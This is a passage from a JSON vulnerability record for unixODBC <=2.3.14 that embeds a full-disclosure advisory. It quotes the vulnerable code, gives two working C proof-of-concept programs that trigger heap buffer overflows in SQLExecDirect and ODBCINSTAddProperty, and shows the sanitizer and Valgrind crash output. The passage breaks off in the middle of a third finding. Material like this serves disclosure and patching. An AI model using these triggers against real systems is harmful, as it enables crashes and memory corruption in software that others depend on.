= malloc( LOG_MESSAGE_LEN );\n }\n\n sprintf( statement -\u003e msg, \"\\n\\t\\tEntry:\\\n\\n\\t\\t\\tStatement = %p\\\n\\n\\t\\t\\tSQL = %s\",\n statement,\n __string_with_length( s1, statement_text, text_length ));\n\n free( s1 );\n\n dm_log_write( __FILE__,\n __LINE__,\n LOG_INFO,\n LOG_INFO,\n statement -\u003e msg );\n }\n```\nSnippet from `unixODBC`\u0027s DriverManager/SQLExecDirect.c, lines 184-242\n\n```c\n#include \u003cstdio.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cstring.h\u003e\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n\nint main(void)\n{\n SQLHENV henv = SQL_NULL_HENV;\n SQLHDBC hdbc = SQL_NULL_HDBC;\n SQLHSTMT hstmt = SQL_NULL_HSTMT;\n SQLRETURN rc;\n\n SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, \u0026henv);\n SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0);\n SQLAllocHandle(SQL_HANDLE_DBC, henv, \u0026hdbc);\n\n /* Enable the tracing */\n SQLSetConnectAttr(hdbc, SQL_ATTR_TRACE, (SQLPOINTER)SQL_OPT_TRACE_ON, 0);\n\n /* Connect so that a valid STMT handle can be allocated -- the\n * overflow itself happens before any call reaches the driver. */\n rc = SQLConnect(hdbc, (SQLCHAR*)\"test\", SQL_NTS,\n (SQLCHAR*)\"\", SQL_NTS, (SQLCHAR*)\"\", SQL_NTS);\n if (!SQL_SUCCEEDED(rc) \u0026\u0026 rc != SQL_SUCCESS_WITH_INFO) { return 2; }\n SQLAllocHandle(SQL_HANDLE_STMT, hdbc, \u0026hstmt);\n\n /* Long, fully attacker-controlled SQL text. */\n size_t biglen = 8192;\n char *big_sql = malloc(biglen + 1);\n memset(big_sql, \u0027A\u0027, biglen);\n big_sql[biglen] = \u0027\\0\u0027;\n\n /* Negative text_length != SQL_NTS(-3) -\u003e malloc(-50+128)=78\n * bytes, then __string_with_length\u0027s sprintf(\"%.*s\", -50, ...)\n * treats the negative precision as \"no precision\", copying the\n * full 8192-byte string into the 78-byte buffer. */\n SQLExecDirect(hstmt, (SQLCHAR*)big_sql, -50);\n\n free(big_sql);\n return 0;\n}\n```\nSample code to overflow the buffer\n\n```text\nSQLAllocHandle(ENV) rc=0\nSQLAllocHandle(DBC) rc=0\nSQLSetConnectAttr(SQL_ATTR_TRACE, ON) rc=0\nSQLConnect(\"test\") rc=0\nSQLAllocHandle(STMT) rc=0\nCalling SQLExecDirect with text_length=-50, statement_text len=8192\n=================================================================\n==1301501==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000001f0e at pc 0x000000440c43 bp \n0x7ffeee29bc20 sp 0x7ffeee29b3c0\nWRITE of size 8209 at 0x607000001f0e thread T0\n #0 0x440c42 in __interceptor_vsprintf ...\n #1 0x441c37 in sprintf ...\n #2 0x7fa07e8ac894 in __string_with_length DriverManager/__info.c\n #3 0x7fa07e7ba507 in SQLExecDirect DriverManager/SQLExecDirect.c:235:17\n #4 0x4dedd9 in main repro.c:87:10\n...\n0x607000001f0e is located 0 bytes to the right of 78-byte region [0x607000001ec0,0x607000001f0e)\nallocated by thread T0 here:\n #0 0x4a3492 in __interceptor_malloc ...\n #1 0x7fa07e7ba4d1 in SQLExecDirect DriverManager/SQLExecDirect.c\n #2 0x4dedd9 in main repro.c:87:10\n...\nSUMMARY: AddressSanitizer: heap-buffer-overflow ... in __interceptor_vsprintf\n==1301501==ABORTING\n```\nOutput from AddressSanitizer\n\n```text\n==1301663== Invalid write of size 8\n==1301663== at 0x4854166: mempcpy (vg_replace_strmem.c:1668)\n==1301663== by 0x49843F7: _IO_default_xsputn (in /usr/lib64/libc.so.6)\n==1301663== by 0x4960212: __vfprintf_internal (in /usr/lib64/libc.so.6)\n==1301663== by 0x4978C23: __vsprintf_internal (in /usr/lib64/libc.so.6)\n==1301663== by 0x495AFC7: sprintf (in /usr/lib64/libc.so.6)\n==1301663== by 0x48BA2E5: __string_with_length (__info.c:3242)\n==1301663== by 0x487AD7B: SQLExecDirect (SQLExecDirect.c:231)\n==1301663== by 0x401404: main (repro.c:87)\n==1301663== Address 0x4c78db1 is 8,033 bytes inside an unallocated block of size 2,711,952 in arena \"client\"\n\nvalgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion \u0027bszB_lo == bszB_hi\u0027 failed.\nvalgrind: Heap block lo/hi size mismatch: lo = 144, hi = 4702111234474983745.\n```\nOutput from Valgrind\n\nODBCINSTSetProperty\u0027s Unbounded Property Name/Value Copy\nPer the code below, `ODBCINSTAddProperty()` allocates a fixed-size `ODBCINSTPROPERTY` structure and then copies the \ncaller-supplied `pszProperty` and `pszValue` `char[]`s into its `szName` and `szValue` fields without a `NULL` or \nlength check.\n\n```c\nint ODBCINSTAddProperty( HODBCINSTPROPERTY hFirstProperty, char *pszProperty, char *pszValue )\n{\n HODBCINSTPROPERTY hNew;\n\n hNew = \n(HODBCINSTPROPERTY)malloc( sizeof(ODBCINSTPROPERTY) );\n memset(hNew, 0, sizeof(ODBCINSTPROPERTY));\n hNew-\u003enPromptType = ODBCINST_PROMPTTYPE_HIDDEN;\n hNew-\u003epNext = NULL;\n hNew-\u003ebRefresh = 0;\n hNew-\u003ehDLL = hFirstProperty-\u003ehDLL;\n hNew-\u003epWidget = NULL;\n hNew-\u003epszHelp = NULL;\n hNew-\u003eaPromptData = NULL;\n strcpy(hNew-\u003eszName, pszProperty );\n strcpy( hNew-\u003eszValue, pszValue );\n```\nCode from `unixODBC`\u0027s odbcinst/ODBCINSTSetProperty.c, lines 54-68\n\n```c\n#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003codbcinstext.h\u003e\n\nint main(void)\n{\n ODBCINSTPROPERTY head;\n char *evil;\n size_t n = 5000; /* \u003e INI_MAX_PROPERTY_NAME/VALUE (1000) */\n\n memset(\u0026head, 0, sizeof(head));\n strcpy(head.szName, \"Driver\"); /* seed list head so AddProperty can walk pNext */\n head.pNext = NULL;\n head.hDLL = NULL;\n\n evil = malloc(n + 1);\n memset(evil, \u0027A\u0027, n);\n evil[n] = \u0027\\0\u0027;\n\n fprintf(stderr, \"calling ODBCINSTAddProperty with %zu-byte property name/value...\\n\", n);\n\n /* pszProperty and pszValue are each 5000 bytes; hNew-\u003eszName/szValue\n * (heap, inside a malloc(sizeof(ODBCINSTPROPERTY)) chunk) are only\n * 1001 bytes each -\u003e two separate heap overflows. */\n ODBCINSTAddProperty(\u0026head, evil, evil);\n\n printf(\"reached end (heap likely corrupted)\\n\");\n free(evil);\n return 0;\n}\n```\nSample code to overflow the buffer\n\n```text\ncalling ODBCINSTAddProperty with 5000-byte property name/value...\n=================================================================\n==1300489==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000000888 at pc 0x00000048d469 bp \n0x7fffcabae780 sp 0x7fffcabadf48\nWRITE of size 5001 at 0x61d000000888 thread T0\n #0 0x48d468 in strcpy (repro_asan+0x48d468)\n #1 0x7f10d0722e05 in ODBCINSTAddProperty odbcinst/ODBCINSTSetProperty.c:67:2\n #2 0x4debdf in main repro.c:26:5\n0x61d000000888 is located 0 bytes to the right of 2056-byte region [0x61d000000080,0x61d000000888)\nallocated by thread T0 here:\n #0 0x4a3452 in __interceptor_malloc (repro_asan+0x4a3452)\n #1 0x7f10d0722bf5 in ODBCINSTAddProperty odbcinst/ODBCINSTSetProperty.c:58:33\n #2 0x4debdf in main repro.c:26:5\nSUMMARY: AddressSanitizer: heap-buffer-overflow ... in strcpy\n==1300489==ABORTING\n```\nOutput from AddressSanitizer\n\n```text\ncalling ODBCINSTAddProperty with 5000-byte property name/value...\n==1300550== Invalid write of size 1\n==1300550== at 0x484C75C: strcpy (vg_replace_strmem.c:553)\n==1300550== by 0x485F2CC: ODBCINSTAddProperty (ODBCINSTSetProperty.c:67)\n==1300550== by 0x40123D: main (repro.c:26)\n==1300550== Address 0x4a94c18 is 0 bytes after a block of size 2,056 alloc\u0027d\n==1300550== at 0x484686F: malloc (vg_replace_malloc.c:381)\n==1300550== by 0x485F231: ODBCINSTAddProperty (ODBCINSTSetProperty.c:58)\n==1300550== by 0x40123D: main (repro.c:26)\nvalgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion \u0027bszB_lo == bszB_hi\u0027 failed.\nvalgrind: Heap block lo/hi size mismatch: lo = 2128, hi = 4702111234474983745.\nThis is probably caused by your program erroneously writing past the\nend of a heap block and corrupting heap metadata.\n```\nOutput from Valgrind Memcheck\n\nTemplate Driver\u0027s SQLConnect Unchecked Copy\nThe template driver provides sample/boilerplate Structured Query Language (SQL) connect code, but this code does not \nperform input validation against the upstream data source `char[]`, allowing an overflow on the corresponding `sprintf` \ncall while creating what is supposed to be a diagnostic message pending the connection attempt. The length of the data \nsources (`szDataSource`) isn\u0027t checked until after the overflow has already occurred -- via `( strlen((char*) \nszDataSource ) \u003e ODBC_FILENAME_MAX+INI_MAX_OBJECT_NAME` -- but even this check is incorrect because `szSqlMsg` is only \n1024-bytes and the maths above allows thousands more bytes than that. Importantly, the `MiniSQL` sample driver\u0027s \n`SQLConnect` contains the same issue caused by the same faulty ordering, logic, and lack of verification. This example \nand the MiniSQL example mentioned herein only really matter if the sample/boilerplate code is leveraged by a library \nbut should be fixed since such code is supposed to aid developers.\n\n```c\nSQ"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-05T04:38:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/8"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Nov/8"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/8"
],
"discovery": "EXTERNAL"
},
"title": "unixODBC \u003c=2.3.14 Multiple Heap Buffer Overflows, Underflows, and Over-Reads",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0548",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/8",
"automated": true,
"contentSha256": "4cafbee5f66f0cc90cd6cab56be32adbedde5106fd136ce689dab1c90100ac1b",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/8",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-04T00:40:34Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-05T04:38:41Z",
"dateUpdated": "2026-11-05T04:38:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0548"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}